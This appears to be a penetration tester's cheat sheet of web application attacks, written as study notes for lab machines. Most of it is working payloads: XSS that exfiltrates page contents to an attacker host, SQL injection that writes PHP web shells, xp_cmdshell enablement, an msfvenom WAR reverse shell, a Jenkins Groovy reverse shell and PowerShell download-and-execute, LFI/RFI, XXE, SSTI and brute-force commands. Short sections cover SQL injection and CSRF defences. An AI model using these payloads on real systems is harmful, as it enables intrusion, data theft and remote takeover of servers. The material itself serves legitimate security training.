Return to Main Page

Web Application Attacks


Strategy

  • Web directory enumeration
    • Web Enumeration Tools:
      • gobuster
      • feroxbuster
    • Web Enumeration Wordlists:
      • /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
      • /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
  • Interesting web pages to check
    • Check for <url>/index.php/asp/aspx to try to determine which language the server uses.
    • Error Page. Go to non-existent url.
    • README.md
    • /robots.txt
    • Admin Portals
      • Some common ones:
        • Tomcat Manager
        • phpMyAdmin
  • Look for exploits
    • *Search github issues for words like: exploit, lfi, passwd*
    • Carefully look at different web app name variations (cutenews & cutephp)
    • Search exploits for website names even if they look "custom" or meaningless
  • Read all web pages
    • Look for usernames
    • Look at source code for all pages
      • Hidden functions
      • Comments with sensitive information
  • Burp
    • Inspect web page requests
      • Hidden directories may be revealed
        • GET request on /hello-world/ initiated a bunch of other GET requests behind the scenes and this revealed hidden web directories
      • Interesting headers may be revealed
  • Nikto
    • Web server scanner. Very noisy.
    • Unable to connect to https host
      • MinProtocol = None
      • CipherString = Default
  • sql injection
    • Test *all* input forms
    • <url>.com/id=<Test for sql injection>
    • Sql injection
    • nosql injection
  • SSTI
    • Look for anywhere that displays user input
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
  • Input Forms
    • Test for LFI and RFI
    • Play with input lengths
  • Directory Traversal
    • Look for links such as: <url>/test.php?page=mkdocs
      • RFI
        • page=http://<attacker url>/shell.php
      • LFI
        • ?file=<directory>
          • try to change it to file=/etc/passwd or file=C:\boot.ini
        • Log poisoning
          • LFI and code execution combo
  • Brute force vhosts
    • If a domain name is being used then check if any subdomains exist
    • ffuf -c -u http://<ip address> -H "Host: FUZZ.<domain>" -w <wordlist>
    • FUZZ vhosts for variations of known subdomains.
      • Known subdomain: preprod-billing.rootdomain | preprod-FUZZ.rootdomain
  • Log poisoning
    • Check for <log>.php/asp/aspx
      • If logs are keeping track of HTTP request user-agents then set user-agent to web shell code and then navigate to the log using LFI
  • Check github page for web application
    • Look for issues which may reveal vulnerabilities or exploits
    • Look at file in web app directory, might be able to find something interesting to look for on the victim

    Login Page

  • Password attack
    • Common Credentials
      • Check seclist wordlist for web app specific default credential lists.
        • /usr/share/seclists/Passwords/Default-Credentials
    • Brute force
      • Hydra
      • Post form bruteforce
      • hydra -L <usernames list> -P <password list> <ip address> http-post-form "<login web path>:<post request data>:<invalid login web page text>"
      • hydra -L users_email.list -P cewl.out 10.129.71.58 http-post-form "/login:email=^USER^&password=^PASS^:Something went wrong, sorry about that..."
      • BurpSuite Intruder
      • Wordpress - wpscan (also an overall vulnerability scanner)
    • PHP Juggling Bug / Bypass Login
      • Abuses how PHP interprets == vs === comparisons
        • == is a lazy comparison
        • === is a strict comparison
      • PHP juggling login bypass examples
        • GET (or POST?) request
          • Content-Type: Application/json
          • Request Data: {"password":true}
  • Enumerate valid users with error message
    • Check for unique errors
      • For users we know exists
        • With valid password
        • With invalid password
      • For users we know do not exist

    XSS

  • Payloads
  • XSS Test
  • <img src="http://<attacker url>">
  • <script>document.location="http://<attacker url>"</script>
  • <script>alert("testing123")</script>
  • Execute payload from remote file
  • <script src="http://<attacker>/xss.js"></script>
  • Get current location of webpage
    var exfilreq = new XMLHttpRequest();    
    exfilreq.open("GET", "http://<attacker>/" + document.location, false);    
    exfilreq.send();
    Get contents of current page
    var exfilreq = new XMLHttpRequest();    
    exfilreq.open("POST", "http://<attacker>/", false);    
    exfilreq.send(document.documentElement.outerHTML);
    Get contents of specified webpage
    var pagereq = new XMLHttpRequest();    
    pagereq.onreadystatechange = function() {              
      if (pagereq.readyState == 4) {                       
        varexfilreq = new XMLHttpRequest();                    
       exfilreq.open("POST", "http://<attacker>/", false);                                                      
       exfilreq.send(pagereq.response);                 
      }     
    };    
    pagereq.open('GET', '/<web page>', false);    
    pagereq.send();
  • Sometimes XSS can be stored in the referer header
  • POST /process.php HTTP/1.1
    Host: 
    ...
    ...
    ...
    Referer: <XSS Payload>

    Json Web Token (JWT)

  • Tools
    • python module - pyjwt
    • Encode a token
      import jwt
      secret = '<secret>'
      jwt.encode({"username":"admin"}, secret, algorithm='HS256')
    • https://jwt.io/
    • https://github.com/ticarpi/jwt_tool

    SQL Injection

  • Types of SQL Injection
    • In-band
      • Error based
        • Send queries are sent that cause the application to output SQL error message. Information about the database can be learned through them.
      • Union based
        • UNION sql queries are used to grab information from the database and output it to the web application.
    • Blind
      • Boolean
        • A SQL query is sent that contains a condition that causes the server to respond differently depending on if the condition is true or false.
      • Time-based
        • Sql queries are used that cause the server to delay it's response a predictable amount of time. A sql injection is confirmed if the server responds in the delayed predictable amount of time.
    • Out-of-band
      • Output of the sql injection is read through an outbound communication via HTTP or DNS from the sql server.
    • Second order
      • The sql injection is stored in the database somewhere and then retrieved using another method in order to execute the sql query.
      • Example: create a user on a website with a name that is actually a sql injection query. Look at that user on the website to see the output of the query.
  • Preventing SQL injection
    • Prepared Statements
      • SQL queries are turned into prepared statements and user input is bound to a variable that is passed to the perpared statement.
      • User input cannot be used to change the function of the sql query.
    • Stored Procedures
      • Similar to prepared statements except the parameterized sql queries are stored in the database itself.
      • Dynamic sql queries used within stored procedures can introduce sql injection vulnerabilities.
    • Object Relational Mapping (ORM)
      • Interact with sql database using a programming language instead of directly with sql queries.
      • Uses parameterized queries behind the scenes.
      • Can be insecure especially if concatenated sql queries are used in combination with ORM.
    • Input validation
      • Filter the input and convert the value to something else (boolean, a date, etc) and append that value to the sql query.
    • Escape inputs
      • Last resort.
      • Escape user input before placing it in a query.
      • Techniques for input escaping is database specific.
      • Proper character escaping will make it so user input is not confused as part of the sql statement.
    • Input santitization
      • Limit character length.
      • Whitelist characters - only allow certain characters to be used.
      • Blacklist characters - do not allow certain characters to be used.
    • Least privilege
      • Assign the database account the lowest privilege possible so if it does get exploited the attack possibilities will be limited.
      • Give access to stored procedures only, no direct access to tables.
      • Run mysql under the lowest possible privilege OS account.
    • Web Application Firewall (WAF)
      • Detects sql injection signatures and filters them out. These signatures are part of a constantly updated database that the firewall uses.
    • Do not display errors on the webpage
      • Such as: “<>/?*()&,SQL,SCRIPT,SELECT,INSERT,UPDATE,DROP,%0A,%0D,%00
    Test for sql injections '
    ' or 1=1-- -
    a' or 1=1-- -
    ' or 1=2-- -
    a' or 1=2-- -
    1 or 1=2-- -
    ' UNION SELECT sleep(5)-- -
  • Blind SQL Injection:
    • In a blind SQL injection attack there is no SQL output, but the SQL injection is working behind the scenes
    • Need to inject a statement to make the query valid or invalid
    • Testing for blind sql injection
      • Compare the webpage output when inputting a valid vs invalid sql query
      • Test a valid sql query
      • ' or 1=1
      • On a login page (username:' or 1=1 & Password: Anything)
      • Test invalid sql query
      • ' or 1=2
      • On login page (username:' or 1=2 & Password: Anything)
        • If you get different output based on injecting a valid or invalid statement, then the page might be vulnerable to blind sql injection.
  • Examples of login bypass:
  • USERNAME: admin' or 'a'='a
    PASSWORD: '#
    Explanation
  • SELECT * FROM users WHERE username = '" + input_username + "' AND password ='" + input_password + "'";

  • turns into:
  • SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a'
  • USERNAME: ' or 1=1-- -
    PASSWORD: <anything>
    Explanation
  • SELECT * FROM users WHERE username = '" + input_username + "' AND password ='" + input_password + "'";

  • turns into:
  • SELECT * FROM users WHERE username = '' or 1=1 -- AND password = '<anything>'
  • SQL Injection Error Attack

  • Error Injection Method #1 - Current DB
  • Enumerate number of databases 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--
    Extract database name by number
    Method #1 1 AND 1=CONVERT(INT,db_name(<database #>))--
    Method #2 1 AND 1=CONVERT(INT,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=<database #>))--
    Extra table count from current DB 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )+CHAR(58)+CHAR(58)))--
    Extract table names from current DB 1 AND 1= CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top <increase # starting with 1> TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
    Extract column names from a table in current DB 1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top <increase # starting with 1> column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='<table name>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--
    Extract number of rows in a table in current DB 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM <table name>)+CHAR(58)+CHAR(58)))--
    Extract data for two columns by row # 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 <column 1>+CHAR(58)+<column2> FROM (SELECT top <increase # starting with 1> <column 1> , <column 2> FROM <table 1> ORDER BY <column 1> ASC) sq ORDER BY <Column 1> DESC)+CHAR(58)+CHAR(58)))--
  • Error Injection Method #1 - Other DB's
  • Extract tables from other DB 1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top <increase # starting with 1> TABLE_NAME FROM <other_db_name>.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
    Enumerate columns from table from other DB 1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top <Increase # starting with 1> column_name FROM <Database>.information_schema.COLUMNS WHERE TABLE_NAME='<Table>' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--
    Extract number of rows in table from other DB 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM [<Database>]..[<Table>] )+CHAR(58)+CHAR(58)))--
    Extract data from table in other DB 1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 <Column> FROM (SELECT top <Increase # starting with 1> <Column> FROM <Database>..<Table> ORDER BY <Column> ASC) sq ORDER BY <Column> DESC)+CHAR(58)+CHAR(58)))--
  • Error injection Method #2
  • "HAVING" & "GROUP BY" error message attack

    Enumerate table and column names
    Enumerate column 1 (Generates error message revealing <table>.<column_1>) 1' HAVING 1=1 --
    Enumerate column 2 (Generates error message revealing <table>.<column_2>) 1' GROUP BY <table>.<column 1> HAVING 1=1 --
    Enumerate column 3 (Generates error message revealing <table>.<column_3>) 1' GROUP BY <table>.<column 1>,<table>.<column 2>
    Continue enumerating columns until a normal result is returned
    Enumerate DB names
    Enumerate db 0 name (Generate error: [SqlException (0x80131904): Conversion failed when converting the nvarchar value '<db_name(0)>' to data type int.]) 1 and 1=CONVERT(INT,db_name(0))--
    Enumerate db 1 name (Generate error: [SqlException (0x80131904): Conversion failed when converting the nvarchar value '<db_name(1)>' to data type int.]) 1 and 1=CONVERT(INT,db_name(1))--
    Enumerate table names using information_schema.tables
    Enumerate table 1 name (Generate error: failed when converting the nvarchar value '<table_1>' to data) 1 and 1=convert(int,(select top 1 table_name from information_schema.tables))--
    Enumerate table 2 name (Generate error: failed when converting the nvarchar value '<table_2>' to data) 1 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('<table_1>')))--
    Enumerate table 3 name (Generate error: failed when converting the nvarchar value '<table_3>' to data) 1 and 1=convert(int,(select top 1 table_name from_information_schema.tables where table_name not in ('<table_1>','<table_2>')))--
    Enumerate table columns using information_schema.tables
    Enumerate column 1 for table_1 (Generate error: failed when converting the nvarchar value '<column_1>' to data) 1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='<table 1>'))--
    Enumerate column 2 for table_1 (Generate error: failed when converting the nvarchar value '<column_2>' to data) 1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='<table 1>' and column_name not in ('<Column 1>')))--
    Enumerate column 3 for table_1 (Generate error: failed when converting the nvarchar value '<column_3>' to data) 1 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='<table 1>' and column_name not in ('<Column_1>','<Column_2>')))--
    Enumerate data using table and column names
    Enumerate <data_1> from <column_1> information from <table_1> (Generate error: failed when converting the nvarchar value '<data_1>' to data type int.) 1 and 1=convert(int,(select top 1 <column_1> from <table_1>))--
    Enumerate <data_2> from <column_1> information from <table_1> (Generate error: failed when converting the nvarchar value '<data_2>' to data type int.) 1 and 1=convert(int,(select top 1 <column_1> from <table 1> where <column_1> not in ('<data_1>')))--
    Enumerate <data_3> from <column_1> information from <table_1> (Generate error: failed when converting the nvarchar value '<data_3>' to data type int.) 1 and 1=convert(int,(select top 1 <column_1> from <table_1> where <column_1> not in ('<data_1>','<data_2>')))--

    SQL Injection Union Attack

  • Quick union attack method - group_concat
  • Enumerate DB Names
    Format 1 1 and 1=2 UNION SELECT 1,group_concat(schema_name),3,4...(Enumerate # to go up to using ' order by <#>-- -) from information_schema.schemata-- -
    Format 2 ' UNION SELECT 1,group_concat(schema_name),3,4...(Enumerate # to go up to using ' order by <#>-- -) from information_schema.schemata-- -
    Enumerate all Tables from DB
    Format 1 1 and 1=2 UNION SELECT 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='<DB Name>'-- -
    Format 2 'UNION SELECT group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='<DB Name>'-- -
    Enumerate Columns in Table
    Format 1 1 and 1=2 UNION SELECT 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='<Table Name>'-- -
    Format 2 'UNION SELECT 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='<Table Name>'-- -
    Enumerate Data from Table
    Format 1 1 and 1=2 UNION SELECT 1, <Column Name>,3,4,<Column Name>,6,7 from <DB name>.<Table>-- -
    Format 2 'UNION SELECT 1, <Column Name>,3,4,<Column Name>,6,7 from <DB name>.<Table>-- -
  • Long union attack method
  • Enumerate # of columns
    Method 1 Method 2 Method 3 Method 4
    Enumerate column 1 1 order by 1 ' order by 1-- - ' UNION SELECT NULL-- <Legit Search>' order by 1-- -
    Enumerate column 2 1 order by 2 ' order by 2-- - ' UNION SELECT NULL,NULL-- <Legit Search>' order by 1,2-- -
    Continue until... Error Error No error No results
    Find where information appears on the screen
  • 1 and 1=2 UNION SELECT 1,2,3,4-- -
  • ' UNION SELECT 1,2,3,4-- -
  • Enumerate table name
    Enumerate table_1
    Method #1 1 and 1=2 UNION SELECT 1,2,3,table_name from information_schema.tables--
    Method #2 ' UNION SELECT table_name,2 from information_schema.tables--
    Enumerate table_2 ' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in ('<table_1>')--
    Enumerate table_3 ' UNION SELECT 1,2,3,table_name from information_schema.tables where table_name not in ('<table_1>','<table_2>')--
    Enumerate column names
    Enumerate column_1 for table_1 ' UNION SELECT column_name,2 from information_schema.columns where table_name='<table_1>'--
    Enumerate column_2 for table_1 ' UNION SELECT 1,2,3,column_name from information_schema.columns where table_name='<table_1>' and column_name not in ('<column_1>')
    Enumerate data
    Enumerate data_1 from column_1 of table_1 ' UNION SELECT 1,2,3,<column_1> from <table_1>--
    Enumerate data_2 from column_1 of table_1 ' UNION SELECT 1,2,3,<column_1> from <table_1> where <column_1> not in ('<data_1>')--
  • Other useful injections
    • 'UNION SELECT 1,<insert from the below>,3....-- -
    Mysql version @@version-- -
    Mysql user
  • user()
  • system_user()
  • Read file LOAD_FILE('<File>')
    Reveal data directory @@datadir
    Display file contents in base64
  • TO_BASE64(<file>)
  • (select TO_BASE64(LOAD_FILE("C:\\inetpub\\wwwroot\\uploads\\shell.php")))
  • Create file 'union select ("<text>"),2,3,4,5,6 INTO OUTFILE '<directory>'-- -
    Create a reverse shell
  • ' UNION SELECT " " INTO OUTFILE '/var/www/html/shell.php';-- -
  • ' UNION SELECT (<?php system($_REQUEST["cmd"]);) INTO OUTFILE '/var/www/html/shell.php';-- -
  • ' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/shell.php' -- -
  • ' UNION SELECT (<?php echo exec($_GET["cmd"]);) INTO OUTFILE '/srv/http/shell.php';-- -
  • MSSQL
    • xp_cmdshell
      • Only executable by 'sa' or other users with 'sysadmin' privileges
      • Available by default on all MSSQL (Disabled on MSSQL 2005)
      Enable xp_cmdshell
      Step #1 EXEC sp_configure 'show advanced options', 1; RECONFIGURE
      Step #2 EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE
      Execute xp_cmdshell EXEC xp_cmdshell "<system command>"
  • sqlmap
    • Usage (batch style) with some flags explained:
      • sqlmap -r <Saved GET request> --batch [--force-ssl] [--technique=U] [--dbms=mysql] [--password]
      • Custom injection point
        • Insert * where burp should inject payload (if neccessary)
        -r Specifies the usage a of request file instead of providing a url. This get request file can be made using burp. Intercept the web page request, right click, select copy to file.
        --batch Answers questions for you while running sqlmap
        --technique=U Verify that UNION attack works ahead of time and specify the technique for sqlmap to use
        --password Dump hash for sql users
        --dbs database list
        -D <db name> --dump Dump specific DB
        --dump Dump DB

    NoSQL Injection

  • Programming Languages and Typical DB Types
  • NodeJs MongoDB
  • MongoDB Injection
  • Login bypass
  • username=admin&password[$ne]=anything
  • {"username": "<username>", "password": {"$ne": <anything>}}
  • Enumerate password {"username": "<username>", "password": {"$regex": ^<check letter>}}

    LFI

  • Finding LFI
    • <url>/?page=<Directory>
      • Try changing directory to access different files
        • Try files that show in source code
        • Observe response size for file you know do not exist with reponse size for files you believe exist
        • Entering index.php in a LFI means index.php will reload itself until an error occurs or hang indefinitely
          • "../index.php" could display a different webpage
  • LFI Files
    • Windows
      • Try forward and backslashes
      • \boot.ini
      • \windows\system32\license.rtf
      • View PHP session ID
        • <url>/?something=/Windows/Temp/sess_<cookies from PHPSESSIONID in browser "Storage">
      • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
    • Linux
      • Wordlists - Test for LFI
        • https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt
        • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
      Bruteforce running programs / PIDs /proc/<pid>/cmdline
      Environment variables /proc/self/environ
      Get PID of running process (web server) /proc/self/stat
      List all running processes / PIDs /proc/sched_debug
  • Sometimes a website might look for certain words to be included in the url
  • Original http://<url>/department/manage.php?notes=files/UserNotes.txt
    LFI Exploited http://<url>/department/manage.php?notes=files/UserNotes/../../../../etc/passwd
  • Combine LFI with PHP wrappers
  • Example 1 <url>/menu.php?file=data:text/plain,hello world
    Example 2 <url>/menu.php?file=data:text/plain,<?php echo shell_exec("whoami") ?>
    LFI - Retrieve php page code in base64
  • <url>/something=php://filter/convert.base64-encode/resource=<php page>
    • Test index.php first
    LFI - Retrieve php page by directory <url>/something=php://filter/resource=<php page>
  • Email poisoning
    • Send email to user that includes a web shell
    • Access the email through LFI - /var/mail/<username>?cmd=<command>
  • Log file poisoning
    • Change User-Agent to web shell
    • Access php access logs
      • Linux Log locations could be listed in /usr/local/etc/apache24/httpd.conf
      • Possible windows log location - c:\xampp\apache\logs\access.log

    RFI

  • Remote file inclusion
    • phpinfo - allow_url_include must be set to "On" for RFI to work
      • Old versions had this on by default. New versions have it off by default.
  • If RFI is found, get a webshell by accessing shell.php
    • <victim url>/file=<attacker ip>/shell.php
  • Windows
    • Identify RFI
    • Test RFI using SMB <url>/?something=\\<attacker ip>\test.txt
      Listen on port 445 nc -lvnp 445
    • Try to extract a hash
    • Listen for SMB responder -I tun0
      Watch traffic on 445 tcpdump -i tun0 port 445
      • If traffic shows on 445 when attempting the RFI but nothing shows in responder then the server is not vulernable to this attack

    • Try setting up SMB Server on attacker and attempt to use RFI to access these files
      • RFI <url>/<smb share>/shell.php&cmd=whoami
      • Try impacket-smbserver
      • Try built in linux SMB Server
  • Linux
    • Identify RFI
    • Test for RFI <url>/?file=http://<attacker ip>/test.txt
      Listen for victim nc -lnvp 80

    phpinfo.php

    allow_url_include = on RFI vulnerability
    file_uploads=on + LFI
  • RCE
    • https://www.insomniasec.com/downloads/publications/phpinfolfi.py
    • HackTheBox - Poison - https://youtu.be/rs4zEwONzzk?t=601
    $_SERVER['DOCUMENT_ROOT'] Directory of web server files

    Upload Restriction Bypass

  • Try uploading with different extensions & file types
  • Try double extensions
    • .php.gif
    • .gif.php
  • Test for extension whitelist vs blacklist
    • Attempt to upload a random extension (Ex. file.aaaaaaa). If that extension is not allowed then it is likely a extension whitelist is in place.
  • Magic bytes
    • Bytes at the beginning of a file that indicate which type of file it is, on the byte level
    • Add magic byte from image file to beginning of shell file
    • Get magic bytes from .jpg file
      • head <file> | xxd
        • Output file bytes, first few should be the magic bytes
      • head -c<#> <file> | xxd
        • Output number of bytes from file and display in readable format
    • Add magic bytes using hexeditor
    • Null byte vulnerability (%00)
      • Terminate strings using null byte to bypass file extensions that are appended by the server
      • Only works on old versions of php

    Web Servers & OS Combos

  • Apache on Windows
    • Not the typical Windows web server
    • Typically used alongside XAMPP
      • File would be placed in C:\xampp\htdocs
    • Usually using .php
  • IIS on Windows
    • Typical Windows web server
    • Files placed in C:\inetpub\htdocs
    • Usually using .asp and/or .aspx
  • nginx
    • Typically not running PHP, but it is possible

    XXE Injection

  • Test for XXE Injection
    • Use the XXE injection test before XXE LFI or XXE SSRF attack in case the victim detects a malicious XXE injection and disables it before being able to attempt to exploit the XXE
    • <!DOCTYPE replace [<!ENTITY example "Doe"> ]>
       <userInfo>
        <firstName>John</firstName>
        <lastName>&example;</lastName>
       </userInfo>
  • File retrieval
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <container><value>&xxe;</value></container>
  • Retrieve files that contain characters such as < or > which would break the xml and cause an error in the output/retrieval
    • Use php wrappers to base64 encode files
      • php://filter/convert.base64-encode/resource=
    • Use CDATA wrapper
    • Create "wrapper.tdt" on attack machine <!ENTITY wrapper "%start;%file;%end;">
      Payload example
      <?xml version="1.0"?>
      <!DOCTYPE data [
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % file SYSTEM "file:///etc/passwd" >
      <!ENTITY % end "]]>">
      <!ENTITY % dtd SYSTEM "http://<ip address>/wrapper.dtd" >
      %dtd;
      ]>
      <document>
      <lastName>&wrapper;</lastName>
      <firstName>Larry</firstName>
      </document>
  • SSRF
  • <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://website.com"> ]>

    Server Side Template Injection (SSTI)

    Read files {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    View access to subclasses, choose one, and use it. Also bypass __ filter
    {% set string = "ssti" %}
    {% set class = "__class__" %}
    {% set mro = "__mro__" %}
    {% set subclasses = "__subclasses__" %}
    {% set mro_r = string|attr(class)|attr(mro) %}
    {% set subclasses_r = mro_r[1]|attr(subclasses)() %}
    {{ subclasses_r }}

    Execution After Redirect (EAR)

  • An attacker can ignore a redirect and read the full contents of that page
  • Example: If a webpage redirects users who are not logged in, but that web page lacks code termination upon redirect, then an attacker can ignore the redirect and read the full contents of the page.


  • Node.Js

  • Typical main file names
    • app.js
    • server.js
    • main.js

    Git

  • Dump exposed git repo
    • https://github.com/internetwache/GitTools
    • ./gitdumper.sh http://<target>/.git/ <output directory>

    Tomcat

  • Provides a way of running java applications (.WAR files)
  • Tomcat proxy that gives localhost access to the machine
    • AJP / port 8009
  • Deploy .war reverse shell
    • msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.83 LPORT=4444 -f war > shell.war
    • manager-gui - /manager/html/
    • manager-script - /manager/text/
      • curl -u '<username>:<password>' http://10.129.241.149:8080/manager/text/deploy?path=/shell --upload-file shell.war
  • Brute force tomcat credentials
    • hydra -L words.lst -P words.lst http-get://10.0.0.25:8080/host-manager/html
    • hydra -C /seclists/passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.0.0.25:8080/host-manager/html
  • Helpful Files
    • tomcat-users.xml
      • List of user credentials and permissions. This file can be in multiple locations. $CATALINA_BASE/conf/tomcat-users.xml is the configuration file, but any of the below locations could be linked to conf/tomcat-users.xml
      • /etc/tomcat9/tomcat-users.xml
      • /opt/tomcat/apache-tomcat-9.0.54/conf/tomcat-users.xml
      • /usr/share/tomcat9/etc/tomcat-users.xml
      • /var/lib/ucf/cache/:etc:tomcat9:tomcat-users.xml
    • /usr/lib/systemd/system/tomcat9.service
      • Will show CATALINA_HOME and CATALINA_BASE variables
    • Find other files
      • Search apache version + Ubuntu to find the ubuntu distribution that is most likely running on the box. Then google the distribution name + tomcat in order to find the tomcat file directories installed on the box.
      • Install tomcat and search for the location on your own box. Example: sudo apt install tomcat9

    Wordpress

  • Sensitive Files / Directories
    • wordpress/wp-settings.php
      • Database credentials
    • /wp-content/plugins/
      • Sometimes a directory listing of plugins is enabled, usually not.
  • Exploitation
    • Login as admin, edit theme or upload malicious plugin
    • Look for vulnerable plugins
    • Write web shell code to any page we have write access to
      • Check for writable pages under themes section
  • Tools
    • Vane
      • Free version of wpscan
    • wpscan
      • Flags
      • --plugins-detection aggressive Aggressively search for plugins
        ap All plugins
        at All Themes
        cb Config Backups
        dbe Database Exports
        u usernames
  • Check for credentials saved in plugins
    • Example: Easy WP SMTP
      • Plugins > Settings on Easy WP SMTP plugin
        • Username and password should be saved
          • Right click and view source to view censored password field
  • WP login page
    • website.com/wp-login.php
  • Manually Enumerating WordPress
    • Tools > Site Health > Info > Server & Database
      • Server running WordPress
      • PHP Version
      • Database host IP

    Jenkins

  • RCE if authenticated
    • Go to "Script Console" and execute the below for a reverse shell
    • Method 1
      
      String host="10.10.14.6";
      int port=4444;
      String cmd="cmd.exe";
      Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
      					
      Method 2
      
      cmd = """ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/shell.ps1')" """
      println cmd.execute().text
      					
    • Create new "Freestyle" project
      • Noisier, people can see new project being created
      • Build > Add Build Step
        • Enter command to execute in pop-out box

    Moodle

  • Tools
    • moodlescan
  • Moodle version can be found <url>/moodle/theme/upgrade.txt

  • Sharepoint

  • Enumeration
    • /usr/share/wordlists/seclists/discovery/web_content/sharepoint.txt
    • <url>/_layouts/viewlsts.aspx
      • Shows different libraries

    Gatsby

  • Development mode
    • If enabled we can interact directly with the web database
      • /_graphql

    Joomla

  • Default login username: admin
  • No default password
  • Create reverse shell by editing php template in admin panel

  • Webdav

  • Webdav gives the ability to manage files on a web server. Actions such as update, delte, move, and copy.
  • RCE - If we have access to webdav then we can get RCE by uploading a web shell.
  • Tools
    • cadaver
      • http://<website>/<webdav directory if there is one>
        • If there are credentials then you will be prompted for them. They do not go on the initial command.
  • Credential file - Webdav can use basic authentication. If it does we can find the credentials stored on the web server in a file called passwd.dav. This file is usually in whichever directory that has basic auth enabled.
    • Example location of this file: /var/www/html/webdav/passwd.dav

    Cross-Site Request Forgery (CSRF)

  • A CSRF attack takes place when an attacker crafts a malicious web request and tricks the victim into sending the request to a web application that they are already authenticated to. The malicious web request could do anything such as transfer funds, change account information, or any other action an authenticated user could make on the web application. A website is vulnerable to CSRF attacks if it only uses cookies to validate whether a web request is coming from an authenticated user.

  • CSRF Tokens
    • CSRF Tokens can be used to guard against CSRF attacks. A CSRF token is a long random string that is provided by the webserver to the user which is used to prove that they are authenticated. A CSRF token differs from a cookie because it is sent in a different field of the web request. Even though a CSRF token might be stored in the same location as cookies a CSRF attack will not be able to take the value of the CSRF token and place it in the required field of the web request that is required to prove that the request is coming from an authenticated user.
    • Custom headers typically cannot be set in CSRF attacks. See: http://blog.alutam.com/2011/09/14/jersey-and-cross-site-request-forgery-csrf/
      • Custom headers may be sufficient to stop current CSRF attacks. However, random generated CSRF tokens are smart to use in preparation for if attackers figure out how to set customer headers.
  • Protections against CSRF:
    • Synchronizer Token Pattern
      • A new CSRF token is generated for each form submission or per session.
      • Generating tokens per form submission can cause issues in scenarios such as using the "back" button on the browser, since the CSRF token on the previous page will no longer match what it used to.
    • Double submit cookies
      • Weaker CSRF protection
      • The server provides a random value as a cookie and the user must submit this cookie value both as a cookie and in a customer header when making web requests.
    • SameSite cookie flag
      • If this flag is set then it can stop cookies from being sent cross-site which are the basis behind CSRF attacks.
      • A browser might not support this feature.
      • Lacks the ability for fine-grain control. Example: The website (example.com) is a forum and someone posts a link to the forum's delete account function (example.com/DeleteAccount). Any user who clicks this link will send their cookies. If aditional protections such as a CSRF token is not also implemented then the delete account function would execute.
    • Challenge/response pattern
      • When submitting a web request (such as transferring funds) the server should have a challenge such as asking for a password in order to authenticate the web request. A CSRF attack should not be able to know what the answer to the challenge is, therefore a CSRF will not work.
    • Origin and Referer Headers
      • Verify that the web request destination origin is something the web application expects.
      • The Origin and Referer headers can only be set by the browser.
      • Examples:
        • Legitimate request - submitting a fund transfer on bank.com would show the request originated from bank.com
        • Forged request - visting evil.com triggers a CSRF attack to transfer funds on bank.com The request would show originating from evil.com.
